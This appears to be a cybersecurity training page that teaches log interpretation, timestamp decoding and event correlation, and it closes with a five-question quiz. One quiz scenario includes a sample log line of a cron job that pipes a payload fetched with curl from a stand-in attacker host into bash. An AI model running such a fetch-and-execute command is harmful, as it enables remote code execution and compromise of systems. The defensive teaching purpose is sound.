Log Interpretation
& Correlation
Learn to read system log fields, decode timestamps, and connect events across multiple sources to detect security incidents.
What Are Security Logs?
Every device on a network: servers, firewalls, routers, and workstations: automatically records events as log entries. Each entry is a timestamped record of something that happened, from a user logging in to a firewall blocking suspicious traffic.
Anatomy of a Log Entry
Why Logs Matter in Cyber Security
Core Log Fields Explained
Timestamps & Time Zones
Timestamps are the most critical field for log correlation. Without accurate, consistent timestamps, you cannot determine the order of events across different systems.
The "Z" means UTC (Zulu time)
Seconds since Jan 1, 1970
No year, often local time
What Is Log Correlation?
Log correlation is the process of connecting events across multiple log sources to identify patterns that no single log could reveal alone. A failed login on one server, followed by a successful login on another, followed by a data transfer: individually harmless, but together they form an attack narrative.
Logs vs Alerts
| Raw Logs | Alerts | |
|---|---|---|
| Volume | Millions per day | Dozens per day |
| Context | Single event, single source | Correlated pattern across sources |
| Action needed | Stored for analysis | Requires investigation |
| Example | Failed login at 09:23 | 50 failed logins in 2 minutes |
| Created by | Individual devices | SIEM correlation rules |
Understanding Severity Levels
How to Correlate Events
Example 1: Reading a Log Entry
Example 2: Correlating Across Sources
Example 3: Time Zone Trap
2024-11-15T18:30:00Z DENY outbound to 185.220.101.1 (known C2 server)
Nov 15 13:29:55 Process svchost_update.exe started by user jsmith
Common Mistakes
Log Types at a Glance
| Log Type | Records | Key Fields | Example Tool |
|---|---|---|---|
| Firewall | Network traffic decisions | Src/Dst IP, port, action | pfSense, Palo Alto |
| Authentication | Login successes/failures | User, source IP, method | /var/log/auth.log |
| Application | App-specific events | User, action, resource | Apache, Nginx |
| Endpoint/EDR | Process and file activity | Process, hash, parent | CrowdStrike, Defender |
| DNS | Domain lookups | Query, response, client | Pi-hole, Zeek |
Question 1 of 5
In the log entry below, what does the "Z" at the end of the timestamp indicate?
Question 2 of 5
A firewall log shows DENY for traffic from 10.0.1.50 to an external IP on port 4444. The auth log shows user jdoe logged in on 10.0.1.50 two minutes earlier. What is the most likely conclusion?
Question 3 of 5
What is the first step you should take when correlating logs from multiple sources that use different time formats?
Question 4 of 5
Log A (Auth): 2024-11-15T03:12:00Z: 47 failed SSH logins for user "root" from 203.0.113.88 in the last 60 seconds.
Log B (Auth): 2024-11-15T03:12:05Z: Successful SSH login for user "root" from 203.0.113.88.
Log C (Endpoint): 2024-11-15T03:12:18Z: New cron job created by root: "curl http://evil.example.com/payload.sh | bash".
Which term best describes the attack pattern shown in these correlated logs?
Question 5 of 5
An endpoint log at Nov 15 10:30:00 (EST, UTC-5) and a firewall log at 2024-11-15T15:30:05Z both reference the same source IP. How far apart are these events?